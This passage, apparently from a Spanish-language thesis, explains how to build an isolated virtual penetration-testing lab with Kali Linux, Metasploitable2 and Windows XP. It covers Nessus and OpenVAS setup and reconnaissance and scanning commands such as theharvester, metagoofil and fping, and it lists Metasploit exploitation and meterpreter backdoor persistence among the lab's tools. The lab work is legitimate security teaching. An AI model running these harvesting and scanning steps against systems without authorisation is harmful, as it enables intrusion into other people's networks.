Enseguida se deben seguir las instrucciones que aparecen al final del proceso de
instalacién mostrado en la figura 21:

1. Iniciar Nessus mediante la ejecucién del siguiente comando:

/etc/init.d/nessusd start

2. Abrir el navegador web y conectarse a https://localhost:8834/ para configurar el
escaner (figura 22). Enseguida el navegador web desplegara una advertencia sobre el
certificado SSL usado por Nessus para el cual se debe agregar la excepcion para ese

certificado SSL seleccionando la opcién Add Exception.

ro - 1
| € @ https//localhost: 8834/nessus6. htmld/ hd G" |1__;V Google
[ Most Visitedv “Offenslve Security \Kal\ Linux \Kall Docs \Kal\Tonls !!ExplmthB
Welcome to Nessus® 6 JNessus
Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:
* High-speed vulnerability discovery, to determine which hosts are running which services
* Agentless auditing, to make sure no host on your network is missing security paiches
* Compliance checks, to verify that every host on your network adheres to your security policy
* Scan scheduling, to automatically run scans at the frequency you select
* And morel
During this precess, you will create an administrative account, register your scanner, and download the latest plugins.
[ . i v L S - L T )

Figura 22. Inicio de la configuraciéon de Nessus


https://localhost:8834/
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3. Posteriormente el sistema solicitara un codigo de activacion (figura 23), el cual

puede obtenerse en el sitio oficial de Nessus http://www.nessus.org/register/.

Product Registration O Nessus

As information about new vulnerabilities is discovered and released into the public domain, Tenable's research staff
releases plugins that enable Nessus to detect their presence. These plugins contain vulnerability information, algorithms
to test for the presence of the issue, and a set of remediation actions. Registering your scanner grants you access to
these plugins.

Registration Messus (Home, Professional or Manager) v

Activation Code

Back Custom Settings

Figura 23. Activacion de Nessus

4. Después de haberse registrado exitosamente, Nessus comenzara a descargar y
actualizar los plugins, lo cual puede tardar varios minutos. Al terminar la descarga, el
proceso de instalacién habra finalizado y el sistema desplegara la pagina principal de

Nessus como se muestra en la figura 24.

| € @ https://localhost:8834/nessust html#/ va

[ Most Visited v “Offenswe Security \KEL\ Linux \KaL\ Docs \KaUTnoLs ﬂExplmt-DB

(2 |

a

Figura 24. Pantalla de inicio de Nessus


http://www.nessus.org/register/
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3.4.8 Actualizacion del escaner de vulnerabilidades OpenVAS
Para instalar y actualizar OpenVAS en su version mas reciente se debe ejecutar en

una terminal el siguiente comando [13]:

root@kali:~# apt-get install openvas

Después se debe ejecutar el siguiente comando para que se realice la configuracion:

root@kali:~# openvas-setup

La figura 25 muestra el resultado obtenido de la ejecucion del comando antes
mencionado, al final del proceso de configuracion se puede observar que OpenVAS
actualiza su base de datos, reinicia varios servicios y crea un usuario admin junto con

su contrasefa la cual se puede observar al final de la informacion desplegada.

nf
es the signature

5 Distinguished Name is as follows
:PRINTABLE: 'DE'

ertified until May 3 01:12:21 2016 GMT (365 days)

rite put database with 1 new entries

Figura 25. Configuracién de OpenVAS

Una vez que OpenVAS ha completado el proceso de configuracién, se debe verificar
que los servicios OpenVAS manager, scanner y GSAD estén habilitados o en estado
listen mediante el comando netstat —antp. La figura 26 muestra la ejecucion del
comando antes mencionado para la verificacion del estado de los servicios de

OpenVAS.
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[FOEEEREN - =7 netstat -antp 1
Active Internet connections (servers and established)

Froto Recv-Q Send-0Q Local Address Foreign Address State
PID/Program name

tcp 6] 0 0.0.0.0:8834 0.0.0.0:* LISTEN

4611 /nessusd

tcp 6] 0 127.0.0.1:9390 0.0.0.0:* LISTEN

7774/ openvasmd

tcp 6] B 127.0.0.1:9391 0.0.0.0:* LISTEN

/761 /openvassd: Wai

tcp 6] 0 127.0.0.1:9392 0.0.0.0:* LISTEN

7787 /gsad |

Figura 26. Verificacion de los Servicios de OpenVAS

Siempre que se usa OpenVAS se deben iniciar sus servicios mediante el comando
openvas-start. En caso de tener problemas al iniciar los servicios, se debe seleccionar
la opcion: Aplicaciones—> Kali Linux—> Analisis de Vulnerabilidades—> OpenVas—>
Openvas check setup y seguir las instrucciones que indica el sistema marcadas como

FIX por cada error encontrado.

Por dltimo para usar la interfaz web de OpenVAS se debe abrir el navegador web y
teclear en el mismo la direccién https://127.0.0.1:9392, seguidamente se debe
aceptar el certificado SSL e introducir el nombre de usuario adminy la contrasefia la
proporciona el programa durante la fase de configuracién (esta se puede ver al final
de la figura 25).

Con eso se concluye el proceso y OpenVAS esta listo para configurar las preferencias

y ejecutar escaneos de vulnerabilidades contra rangos de IP dados (figura 27).

[ Most Visited v 'ilOffensiveSa:urity \Kali Linux \KaLi Docs \KBHTDDLS ﬂExploit—DB

Greenbone Logged in as Admin admin | Logout
#‘) Security Assistant Mon May 4 04:43;09 2015 UTC

Fé 42 @ https://127.0.0.1:939 2/omp?r=1&token=d29b2430-c 2ae-4 daf-8dd7-0a814d1c9971 v &||3v Google Q.

Tasks (total: 0) B 'K EE

= sas [ Jolcas

Reports -
mm S

[ Vapply to page

(Appliad filcer: apply_ov

Welcome dear new user!

To explore this powerful application and to
have a quick start for doing things the first
time, | am here to assist you with some
hints and short-cuts,

Quick start: Inmediately scan an IP address
IP address or hostname:

" Start Scan

I will appear automatically in areas where For this short-cut | will do the following for you:
you have created no or only a few objects.
And disappear when you have more than 3 “!
objects. You can call me with this icon &8 AF1"
any time later on.

1. Create a new Target with default Port List

2. Create a new Task using this target with default Scan
Configuration

3. Start this scan task right awa

4. swlt:h :ha vnawta ralaad every 30 seconds so you can lean

If you want help creating new scan tasks

Figura 27. Pantalla de inicio de OpenVAS


https://127.0.0.1:9392/
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Disefo del laboratorio virtual y

desarrollo de pruebas de intrusion
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En este capitulo se proporciona la descripcion completa del disefio del laboratorio
virtual para la realizaciébn de pruebas de intrusion, asi como su aplicacion en una

prueba usando una metodologia formal.

La construccidn de un laboratorio virtual ofrece importantes ventajas, entre las cuales

podemos destacar las siguientes:

e Se puede realizar una prueba de intrusion sin depender de la ubicacion fisica
de la infraestructura, lo cual hace posible invertir una mayor cantidad de
tiempo en la practica de los procedimientos, facilitando la mejora en las
habilidades de intrusion y la ganancia de conocimientos.

e Debido a que la ejecucion de pruebas de intrusion en un escenario real se
deben realizar bajo el permiso del duefio de los activos, todas las pruebas
realizadas en el laboratorio son legales, pues no hay necesidad de obtener
una carta de autorizacién para utilizar los activos del laboratorio virtual. De
esta forma, no existe riesgo alguno de violar la ley.

e Realizar pruebas de intrusidén sin la experiencia necesaria en un escenario
real, puede provocar pérdida de informacion y fallas y/o dafios en los activos.

e Contar con un laboratorio propio puede estar disponible para el penetration
tester en cualquier momento, sin tener que interrumpir o reducir la
funcionalidad del sistema o el rendimiento de un laboratorio ajeno.

e Este es un ambiente totalmente controlado, cuyos parametros vy
configuraciones pueden ser cambiados de diferentes formas con el fin de
probar diferentes herramientas y técnicas.

e El uso de un laboratorio propio es una opcion confiable para investigar y

encontrar nuevas vulnerabilidades de software.

4.1 Diseno, implementacion y configuracion basica

A diferencia de un laboratorio fisico, un laboratorio virtual no requiere una
infraestructura costosa y compleja, sino que puede ser instalado y configurado

usando un equipo de coOmputo personal de gama media o alta. En este caso, se
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utilizé una laptop Sony Vaio con procesador Intel Core 2 Duo de 2.53 GHZ, disco duro
de 360 GB, 4 GB en memoria RAM y con Windows Vista Home Premium como

sistema operativo (SO) anfitrion.

El laboratorio virtual propuesto esta compuesto de una red de area local (LAN)
pequefia de cinco nodos, sin complejidad y sin mucha seguridad debido a que se
busca aprender acerca de las bases de las pruebas de intrusién. Lo anterior seria
dificil de cumplir si se disefiara e implementara un laboratorio virtual con un alto
grado de complejidad en cuanto a su topologia y seguridad.
En la figura 28 se muestra la topologia basica del laboratorio virtual, el cual esta
conformado por una red LAN virtual que conecta los siguientes elementos:

v' Maquina virtual con SO Kali Linux.

v/ Maquina virtual con SO Metasploitable2.

v' Maquina virtual con SO Windows XP.

v/ Maquina host o anfitrién con SO Windows Vista.

v Servidor DHCP de VirtualBox.
Por default el servidor DHCP de VirtualBox asigna direcciones IP comenzando con
192.168.56.x. Por lo que la direccion IP de red es 192.168.56.0/24.

Red virtual con
VirtualBox
192.168.56.0/24

Kali Linux

85

Metasploitable2

Servidor DHCP

Windows Vista
{Maquina host)

Figura 28. Arquitectura del laboratorio virtual
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A continuacién se describen las caracteristicas de cada uno de los sistemas que
conforman el laboratorio virtual.

v' Maquina virtual con SO Kali Linux: es el equipo del penetration testery desde
donde se ejecutan las pruebas de seguridad. Kali Linux en su version 1.1.0a de
64 bits se instal6 en una maquina virtual configurada con 1 GB de RAM y 25
GB de disco duro virtual. La instalacion de Kali Linux en una maquina virtual se
explica en el capitulo 3.

v" Maquina virtual con SO Windows XP: simula la maquina de un usuario comudn
dentro de una red interna. Windows XP se instal6 en una maquina virtual
configurada con 749 MB de RAM, 10 GB de disco duro virtual y no cuenta con
proteccion antivirus ni tampoco tiene activado el Firewall de Windows como
medidas defensivas. Una de las razones por las que fue seleccionado este
sistema operativo es porque a pesar de no tener soporte del fabricante
(termino el 8 de abril del 2014), sigue siendo utilizado por un gran niumero de
usuarios a nivel mundial [18].

v’ Maquina virtual Metasploitable2: es una version de Ubuntu Linux
intencionalmente vulnerable con una configuracion estdndar sobre la cual se
realizaran parte de las pruebas de intrusion con el fin de descubrir sus
vulnerabilidades. El servidor se encuentra instalado en una maquina virtual con
512 MB de RAM y 8 GB de disco duro virtual y ofrece principalmente los
servicios FTP, SSH, telnet, SMTP, HTTP, NetBIOS, MySQL, PostgreSQL, entre
otros [19].

v’ Maquina host o anfitrion con SO Windows Vista: como se menciond
anteriormente es el equipo en donde se instalo el laboratorio virtual y cuenta
con proteccion antivirus y también tiene activado el Firewall de Windows como
medidas defensivas. Por otro lado cabe mencionar que también forma parte
del laboratorio ya que puede interactuar con los demas equipos dentro de la

red virtual.
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v' Servidor DHCP: es el servidor DHCP de VirtualBox encargado de asignar
automaticamente las direcciones IPv4 (en el rango 192.168.56.0/24) a cada

host conectado a la red.

4.1.1 Instalaciéon del servidor vulnerable Metasploitable2

En esta seccion se da una breve explicacion del proceso de instalacion de una
maquina virtual vulnerable para ser utilizada como maquina virtual objetivo. La razon
por la cual se eligio levantar un servidor vulnerable en una maquina virtual es para
evitar violar la ley, ya que como se menciond anteriormente, nunca se deben realizar
pruebas de intrusion a servidores ajenos sin contar con el permiso escrito por parte

del dueno.

Para instalar Metasploitable2 en VirtualBox, se deben seguir los siguientes pasos:
1. Se debe descargar el archivo Metasploitable2 desde la pagina:
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/.
2. Extraer el contenido del archivo metasploitable-linux-2.0.zip en el directorio:
C:\Users\root\VirtualBox VMs
3. Enseguida abrir VirtualBox y crear una nueva maquina virtual. Se deben llenar
los siguientes campos: nombre: Metasploitable2; tipo: Linux, y version:

Ubuntu, como se muestra en la figura 29.

@_&1

U Crear maquina virtual

Nombre y sistema operativo |

Selecdone un nombre descriptivo para la nueva maquina virtual v el
tipo de sistema operativo que tiene intencidn de instalar en ella. El
nombre que seleccione sera usado por VirtualBox para identificar esta
maquina.

Mombre:  Metasploitable2

Tipo: [Linux :}

Versidn: [Ubuntu (32 bit)

IDmItardescripcio’n][ Next ][ Cancelar I

Figura 29. Creacién de la maquina virtual Metasploitable2


http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
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4. Dejar en tamafio de memoria el valor recomendado de 512 MB como se

muestra en la figura 30.

L

[ T B |
@ Crear maquina virtual
Tamafio de memoria Il
Seleccione la cantidad de memoria (RAM) en megabytes a ser
reservada para la maquina virtual,

El tamafio de memoria recomendado es 512 MB.

Figura 30. Asignacion del tamafio de memoria

5. En el menu Unidad de disco duro, se debe elegir la opcion Usar un archivo de

disco duro virtual existente como se muestra en la figura 31. Enseguida usar el

botdn que tiene el icono de carpeta y seleccionar la siguiente direccién junto

con el archivo:

C:\Users\root\VirtualBox VMs\Metasploitable2-Linux\Metasploitable.vmdk

Seguidamente se debe seleccionar el botdn crear para continuar.

@ Crear maguina virtual

Unidad de disco duro

Si desea puede agregar una unidad de disco duro virtual a la nueva
magquina. Puede crear un nueveo archivo de unidad de disco duro o
selecconar uno de la lista o de otra ubicaddn usando el icono de la
carpeta,

. Si necesita una configuracidn de almacenamiento mas compleja
puede omitir este paso y hacer los cambios a la configuracidn de la
magquina virtual una vez creada.

El tamafio recomendade de la unidad de disco duro es 8.00 GB.
) Mo agregar un disco duro a la maquina virtual
) Crear un disco duro virtual ahora

@ Usar un archivo de disco duro virtual existentes

Metasploitable.vmdk (Mormal, 8.00 GB) - ] @

[ Crear ][ Cancelar ]

Figura 31. Seleccion del disco duro virtual
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6. Es necesario aclarar que la configuracion realizada en este paso también se
debe llevar a cabo en las maquinas virtuales de Windows XP y Kali Linux. En
este paso se debe cambiar la configuracibn del adaptador de red para
asegurar que la maquina virtual esté disponible solamente para los demas
sistemas que conforman el laboratorio virtual. Para ello se debe seleccionar la
maquina virtual creada y seleccionar en la seccion Red que se encuentra a la
derecha. A continuacion en la seccion conectado a: se elige en el menu
desplegable la opcion Adaptador solo-anfitrion y seleccionar el boton Aceptar

para guardar los cambios como se puede apreciar en la figura 32.

@ Metasploitable2 - Configuracion - m
= General Red
E Sisterna
Pantalla Adaptador 1 | Adaptador 2 I Adaptador 3 I Adaptador 4 |
Almacenamiento Hahilitar adaptador de red
& Audio Conectado a:
@ Red Mombre: [VirmaIBox Host-Only Ethernet Adapter v]
@ Puertos serie W Avanzadas
& UsB Tipo de adaptador: [Intel PRO/1000 MT Desktop (82540EM) -]
[0 Carpetas compartidas Modo promiscuc: [Denegar v]
Direccién MAC: 030027408050 @
Cable conectado
Reenvio de puertos
i
[ Aceptar ] [ Cancelar I [ Ayuda ]

Figura 32. Configuracion del adaptador de red para Metasploitable2

7. Enseguida se elige la maquina virtual Metasploitable2 y se selecciona el botén
iniciar. Después de que se termina el proceso de inicio se puede acceder a la
consola de Metasploitable2 mediante las siguientes credenciales:

0 Username: msfadmin
0 Password: msfadmin

8. Para verificar la correcta instalacion y configuracion de Metasploitable2 se
debe revisar la direccion IP asignada a la maquina virtual introduciendo el
comando: ifconfig.

Por default el servidor DHCP de VirtualBox asigna direcciones IP comenzando
con 192.168.56.x.
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En este caso al usar el comando ifconfig se puede observar en la figura 33 que

el servidor DHCP asignd la direccion IP: 192.168.56.101.

@ Metas) Eo'rt_ab]e2 [Cormendo] - Oracle VM VirtualBox

== 2

sfadnin@metasploitable:™§ ifconfig

ethd Link encap:Ethernet HWaddr 08:00:27:40:b0:5d
inet addr:192.168.56.101 |Bcast:192.168.56.255 MHMask:255.255.255.0
ineth addr: fefB0::ab0 27T :fe40:b054-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:? errors:0 dropped:0 overruns:0 frame:0

T packets:55 errors:0 dropped:0 overruns:0 carrier:0
collizsions:0 txqueuelen:1000

R¥ bytes:2038 (1.9 KB) TX bytes:8350 (8.1 KB)

Base address:0xd010 Memory:fo000000-f00Z0000

Figura 33. Direccion IP asignada a Metasploitable2

9. Por ultimo, se puede consultar al servidor para revisar que efectivamente esté
ofreciendo servicios. Para ello se debe encender la maquina virtual Kali Linux
creada anteriormente, abrir el buscador web IceWeasel e ingresar la direccion

IP del servidor Metasploitable2 como se puede observar en la figura 34.

ploitable2 = Linux = [ceweasel

File Edit View History Bookmarks Tools Help
{_] Kali Linux, an Offensive Sec... 3 { i Metasploitable 2 - Linux ® |58 |

@ 192.168.56.101 ~&|

EIMost Visited™ [l Offensive Security "% Kali Linux "%, Kali Docs EBExploit-DB Yy Aircrack-ng

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]lmetasploit.com

Login with msfadmin/msfadmin to get started

Figura 34. Pantalla de inicio del servidor metasploitable2

Con el laboratorio virtual correctamente instalado y configurado, el siguiente objetivo
a cumplir es explicar en las siguientes secciones el uso de algunas de las
herramientas de Kali Linux utilizadas en cada una de las fases o etapas de la

metodologia general de las pruebas de intrusion.
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4.2 Procedimiento formal para la realizacion de pruebas de intrusion

Como se menciond en el capitulo 2, el procedimiento formal para la realizacién de

pruebas de intrusion consta de cinco etapas:

1

2)

3)

4)

5)

Reconocimiento o recopilacion de informacion: Consiste en la
recopilacion de toda informacion atil acerca del objetivo que facilite la
intrusion. Principalmente mediante el uso de fuentes de acceso publico como
internet.

Escaneo o exploracion: Es un tipo de reconocimiento activo utilizado para
recopilar informacion acerca de los equipos y sistemas utilizados en una red.
Generalmente se utiliza una inyeccién de trafico hacia la red para obtener
informacion de retorno por parte de los equipos, que permita conocer detalles
acerca de su configuracion y sus vulnerabilidades.

Explotacion: Consiste en utilizar la informacion disponible para realizar la
intrusion en los sistemas de la red y manipularlos. Los ataques utilizados
pueden ser muy diversos y sofisticados, de tal forma que se vuelve
imprescindible el uso de herramientas automatizadas para realizar esta fase.
Post explotacion o preservacion del acceso: En esta etapa el objetivo
principal es crear un mecanismo que permita mantener el acceso en los
equipos de destino comprometidos en la etapa anterior, evitando con ello
tener que repetir las etapas anteriores.

Elaboracién del reporte: Esta etapa es una de las mas importantes, pues es
aqui en donde se traducen los aspectos técnicos de la prueba de intrusion a un
lenguaje adecuado que pueda ser comprendido por quienes toman las
decisiones acerca de la seguridad de la informacién en la empresa. Se reportan
las pruebas realizadas, el objetivo de cada prueba y los resultados obtenidos.
Esto permitirA a los administradores de la red aplicar las contramedidas

correspondientes para eliminar las vulnerabilidades.



4.3 Desarrollo de pruebas de intrusiéon usando el laboratorio virtual

Cada etapa de la metodologia tiene como fin cumplir con las tareas especificas antes

mencionadas, por lo cual se deben utilizar herramientas especializadas que puedan

cumplir con los objetivos de dichas tareas.

En la tabla 1 se muestra de forma general y resumida las herramientas utilizadas

durante el desarrollo de las pruebas de intrusion.

Fase de la prueba de

intrusion

Herramienta

Objetivo

Reconocimiento o
recopilaciéon de

informacion

Fuentes Recopilar informacién disponible publicamente en
publicas la web.
Recopilar informacion especifica del objetivo como
Whois direcciones IP, nombres de dominio e informacién
de contacto (direcciones fisicas, e-mails, nimeros
telefénicos).
Obtener informacién sobre los servidores DNS
dnsenum (Domain Name System) como direcciones IP de
host y correos electrénicos.
theharvester | Obtener nombres y direcciones de correo
electronico de usuarios.
Capturar informacién mediante la extraccién de
metagofil metadatos desde documentos publicos

correspondientes a la empresa objetivo.

Tabla 1. Herramientas utilizadas en el laboratorio virtual.
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Escaneo, mapeo o

exploracién

ping Identificar equipos activos o disponibles en la red
(uno a la vez).
fping Identificar objetivos activos o disponibles en la red
(varios a la vez).
Explorar grandes redes y equipos individuales en
nmap busca de puertos abiertos, versiones de los
servicios y sistemas operativos.
Facilitar el uso de nmap mediante su interfaz
Zenmap gréafica, asi como también ayudar en la creacién
de mapas topoldgicos de la red.
Escanear o analizar los activos que componen la
Nessus red en busca de vulnerabilidades o puntos débiles.
y
OpenVAS

Tabla 1. Herramientas utilizadas en el laboratorio virtual (continuacion).

Metasploit
Framework

(msfconsole)

Validar y explotar las vulnerabilidades encontradas

en los equipos.

Explotacion Facilitar el uso del Metasploit Framework
Armitage mediante su interfaz gréafica, asi como también
automatizar la fase de explotacion.
Post explotacién o Metasploit Facilitar el acceso repetido en el sistema mediante
preservacion del meterpreter la instalacion de una puerta trasera (backdoor).

acceso (persistence)

keepnote Crear notas para facilitar la documentacion de las
Reporte pruebas.

Nessus Crear  reportes de los escaneos de

vulnerabilidades realizados.

Tabla 1. Herramientas utilizadas en el laboratorio virtual (continuacion).
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En las siguientes secciones se demuestra el desarrollo de las pruebas de intrusion
usando el laboratorio virtual, asi como también se explican detalladamente cada una

de las herramientas mostradas en la tabla 1.

4.3.1. Reconocimiento o recopilacién de informacién

El reconocimiento es el primer paso a seguir cuando se lleva a cabo una prueba de
intrusion o un ataque contra un objetivo de la red o servidor. El reconocimiento
puede realizarse en primer lugar usando métodos pasivos, sin afectar la operacion
normal de la red. En su mayoria, las técnicas utilizadas se concentran en la basqueda
de informacion a partir de fuentes publicas.

Es importante remarcar que debido a que la red del laboratorio virtual esté aislada de
internet por motivos de seguridad, éste no expone informacion publicamente
accesible en la web por lo que no es posible llevar a cabo la fase de reconocimiento o
recopilacion de informacién dentro del mismo, tampoco es muy necesario realizar
dicha fase debido a que se trata de una prueba de intrusién de red interna en la cual
se exploran directamente los sistemas, no obstante se explican algunas de las

herramientas utilizadas en dicha fase.

4.3.1.1 Fuentes publicas

En Internet existen diferentes recursos publicos que pueden ser usados para recopilar
informacion sobre el objetivo. El fin de usar este tipo de recursos es no generar
tréfico directo hacia el objetivo, ya que de esta manera se minimiza la probabilidad
de ser detectados. Algunas fuentes publicas de referencia se pueden observar en la

tabla 2.
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Recurso URL Descripcion

Se considera como el archivo de Internet. Contiene entre otras
cosas, una copia de las distintas versiones de poco méas de 400
millones de sitios web. La informacion proporcionada puede ser
http://www.archive.org de gran utilidad para conocer tipos de herramientas de
desarrollo utilizadas por el objetivo, asi como sus héabitos en el

manejo de la tecnologia.

Este sitio permite buscar toda informacién disponible del
dominio de un sitio web (fecha de inicio o creacion del dominio,
http://searchdns.netcraft.com/ | sitio, dominio, direccién IP, nombre del servidor, E-mail del
administrador, compafiia de Hosting, OS y servidor web, pais

de Hosting).

Este sitio permite buscar informacion sobre dominios y redes.
(También graficamente muestra los diferentes registros
http://www.robtex.com/ asociados con un dominio, asi como la ubicacién geografica de

los servidores.)

Tabla 2. Fuentes publicas para la recopilaciéon de informacion.

4.3.1.2 Consulta de la informacion del registro de dominio con Whois

Una forma muy simple pero efectiva de recopilar informacion adicional acerca del
objetivo es Whois. EI comando Whois permite acceder a informacion especifica sobre
el objetivo incluyendo direcciones IP, nombres de dominio e informacion de contacto
gue a menudo contiene direcciones fisicas, direcciones e-mail y nimeros telefénicos
[20].

Para usar este servicio solamente se abre una terminal y se ejecuta el siguiente

comando:

root@kali:~# whois dominio_objetivo



http://www.archive.org/
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4.3.1.3 Informacion de los DNS

El sistema de nombres de dominio (ODNS — Domain Name System), es una base de
datos distribuida con capacidad de asignar nombres de dominio a sus direcciones IP

y localizar los servidores de correo electronico de cada dominio.

El objetivo de utilizar las herramientas en la categoria de los registros DNS es recoger
informacion sobre los servidores DNS y los registros correspondientes de un dominio

objetivo.

4.3.1.3.1 Dnsenum
Para recopilar informacién de un servidor DNS, se puede utilizar dnsenum [13]. La
informacion de DNS que se puede obtener es la siguiente:

e Las direcciones IP de host

e El servidor DNS de un dominio

e El registro MX (Mail exchange) de un dominio
Para poder utilizar la herramienta se debe navegar a través del menu: Aplicaciones—>
Kali Linux—> Recopilacién de informacién—> Analisis de DNS—> dnsenum. Para acceder

a dnsenum facilmente, se debe abrir una terminal y escribir el siguiente comando:

root@kali:~# dnsenum

4.3.1.4 Recopilacién de nombres y direcciones de correo electrénico de usuarios

Muchos penetration testers reinen nombres de usuario y direcciones de correo
electrénico, ya que esta informacion se utiliza con frecuencia para iniciar sesion en los

sistemas objetivo.

4.3.1.4.1 theharvester

Esta herramienta es un script en Python que busca direcciones de correo electrénico,
nombres de empleados, hosts y subdominios a través de motores de busqueda
populares y otros sitios [13].

Usar theharvester es relativamente sencillo, ya que hay s6lo unos pocos parametros

de comando para configurar. Las opciones disponibles son:
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e -d: Sirve para identificar el dominio que se desea buscar; por lo general el
dominio, sitio web de destino o nombre de la empresa.

e -b: Este parametro identifica la fuente para la extraccién de los datos; que
debe ser uno de los siguientes: Bing, Bingapi, Google, Google-Profiles, Jigsaw,
LinkedIn, Peoplel23, PGP o todos.

e -|: Esta opcidn limita el nimero de resultados a trabajar.

e -f: Esta opcidn se utiliza para guardar los resultados finales en un archivo
HTML o XML. Si se omite esta opcion, los resultados se mostraran en la
pantalla y no se guardaran.

Para poder utilizar la herramienta se debe navegar a través del menu: Aplicaciones—>
Kali Linux=> Recopilacion de informacion—> Andlisis OSINT-> theharvester. Pero la

forma mas féacil de acceder a la herramienta es mediante el comando:

root@kali:~# theharvester

Un ejemplo de la utilizacion de este comando es el siguiente:

root@kali:~# theharvester -d ejemplo.com -1 500 -b google

Con el comando anterior se realiza una busqueda del dominio ejemplo.com limitando

los resultados a 500, usando google como motor de busqueda.

4.3.1.4.2 Metagoofil

Metagoofil es una herramienta disefiada para capturar informacion mediante la
extraccion de metadatos desde documentos publicos (pdf, doc, xlIs, ppt, docx, pptx,
xIsx) correspondientes a la empresa objetivo. Metagoofil lleva a cabo busquedas en
Google para identificar y descargar los documentos en el disco local y luego extrae
los metadatos con diferentes bibliotecas como Hachoir, PdfMiner? y otros. Con los
resultados se genera un informe con los datos obtenidos como nombres de usuario,
las versiones de software y los servidores o los nombres de las maquinas [13].

Para acceder a la herramienta se debe navegar a través del menu: Aplicaciones—> Kali
Linux—> Recopilacién de informacion—> Analisis OSINT-> metagoofil. Pero la forma

mas facil de acceder a la herramienta es mediante el comando:
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root@kali:~# metagoofil

Un ejemplo de la utilizacion de este comando es el siguiente:

root@kali:~# metagoofil -d ejemplo.com -t pdf -1 200 -n 10 -0 /tmp/ -f
/tmp/resultados_mgf.html

e La opcion -d define el dominio a buscar.

e La opcion -t define el tipo de archivo a descargar (pdf, doc, xls, ppt, odp, ods,
docx, pptx, xlIsx).

e La opcidn -l limita los resultados de busqueda (por defecto a 200).

e La opcion -n limita los archivos a descargar.

e La opcidon -o define un directorio de trabajo (la ubicacion para guardar los
archivos descargados).

e La opcion -f define un archivo de salida.

4.3.2 Escaneo o exploracion

Una vez que se ha reunido suficiente informacion sobre el objetivo, utilizando fuentes
externas como motores de busqueda y otras técnicas pasivas de recopilacion de
informacion, es necesario pasar a la siguiente fase de la prueba de intrusion que es el
escaneo, la cual consiste en interactuar mas activamente con el objetivo mediante el
mapeo, escaneo 0 la exploracion de las direcciones IP en busca de maquinas
disponibles, versiones de sistemas operativos, puertos abiertos, servicios Yy

vulnerabilidades.

En términos simples, el escaneo es el proceso de identificar sistemas vivos o

disponibles y los servicios que existen en esos sistemas.

En el caso de que la prueba de intrusién o el ataque se lleve a cabo desde la red
interna como es nuestro caso, se omite la primera fase ya que no se cuenta con un

nombre de dominio el cual se deba analizar y se comienza desde esta fase.
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4.3.2.1 Identificacidn de objetivos

Las herramientas incluidas en esta categoria son usadas para identificar los equipos

activos dentro de la red que puedan ser posibles objetivos para el penetration tester.

4.3.2.1.1 Ping

La herramienta ping es la herramienta mas usada para verificar si un host en
particular esta disponible. Esta herramienta trabaja mediante el envio de paquetes
del protocolo ICMP (/nternet Control Message Protocol) ECHO REQUEST hacia el
host destino. Si el host de destino esta disponible y el firewall no bloquea el paquete
ICMP ECHO REQUEST, entonces éste contestara con el paquete /CMP ECHO REPLY.
Sin embargo, el hecho de que algun host no responda al /CMP ECHO REQUEST, no
significa que esté desconectado. Puede significar que los equipos estén configurados
para no responder a un /CMP ECHO REQUEST [8].

Para usar ping, solo se debe introducir en la terminal el comando ping y la direccion
IP destino. En Kali Linux para detener el comando ping se debe presionar ctrl+c. La
herramienta ping tiene varias opciones, pero las siguientes opciones son algunas de
las mas utilizadas:

e -C: Este es el niumero de paquetes de solicitud ECHO REQUEST que se
enviaran.

e -l (direccion de la interfaz): Esta es la interfaz de red de la direccion de
origen. El argumento puede ser una direccion IP numérica (por ejemplo,
192.168.56.102) o el nombre del dispositivo (como eth0). Esta opcion es
necesaria si se desea hacer ping a una direccion local de IPv6.

e -S (tamafio del paquete): Esta opcidon especifica el nimero de bytes de datos
que se enviaran. El predeterminado es de 56 bytes, que se traduce en 64
bytes de datos ICMP cuando se combina con los 8 bytes de los datos de

cabecera ICMP.

4.3.2.1.2 fping
La diferencia entre ping y fping es que esta ultima se puede utilizar para enviar una

solicitud ping (/CMP ECHO REQUEST) a varios equipos a la vez. Se pueden especificar
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varios objetivos en la linea de comandos, o también se puede utilizar un archivo que
contenga los hosts para hacer ping.

En el modo predeterminado, fping trabaja monitoreando la respuesta del host de
destino. Si el host de destino envia una respuesta, se observara y se eliminara de la
lista de objetivos. Si el host no responde durante un plazo determinado, éste estara
marcado como inalcanzable. Por defecto, fping intentara enviar tres paquetes de
solicitud de eco (/CMP ECHO REQUEST) a cada objetivo [8].

Para acceder a fping, se puede utilizar la terminal para ejecutar el siguiente comando,

el cual mostrara la descripcion del uso y las opciones disponibles en fping:

root@kali:~# fping —h

Por ejemplo, para identificar los equipos disponibles en la red del laboratorio virtual
(192.168.56.0/24) desde donde se estan realizando las pruebas de seguridad,
limitando a dos el nimero de intentos ping enviados hacia los activos para reducir
tiempo de procesamiento y mostrar en pantalla las estadisticas acumuladas del
analisis realizado, se puede utilizar la opcién -g para definir la red a escanear, la
opcién -r para limitar a dos el nUmero de intentos ping realizados y también la opcion
-s para imprimir las estadisticas acumuladas. Todo lo anterior se puede realizar

mediante el siguiente comando:

root@kali:~# fping -s -r 2 -g 192.168.56.0/24

En la figura 35 se puede observar el resultado del andlisis.
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root@kali:~# fping -s -r 2 -g 192.168.56.08/24
192.168.56.101 is alive
192.168.56.102 is alive
192.168.56.103 is alive
ICMP Host Unreachable from 192.168.56.101 for ICMP Echo sent to 192
168.56.2
192.168.56.254 is unreachable
254 targets
3 alive
251 unreachable
B unknown addresses
251 timeouts (waiting for response)
756 ICMP Echos sent
3 ICMP Echo Replies received
676 other ICMP received
0.17 ms (min round trip time)
2.55 ms (avg round trip time)
5.33 ms (max round trip time)
21.023 sec (elapsed real time)

Figura 35. Uso de fping para identificar objetivos.

4.3.2.1.3 Nmap

Nmap “Network Mapper” o escaner de red es una herramienta open source de gran
utilidad para la exploracion de redes y auditorias de seguridad. Fue disefiado para
escanear rapidamente grandes redes, como también host individuales, lo que la hace
una herramienta imprescindible para un probador de intrusion debido a su calidad y
flexibilidad.

Esta herramienta es ampliamente utilizada por toda la comunidad de seguridad de
Tecnologias de la Informacion ya que cuenta con una amplia gama de opciones las
cuales permiten principalmente escanear la red en busca de hosts disponibles,
identificar los sistemas operativos (y versiones), asi como también los nombres de los
servicios que se ejecutan (nombre de la aplicacion y version), el tipo de dispositivo y
los nombres de los sistemas [13] [21].

Para acceder a la herramienta se debe navegar a través del menu:

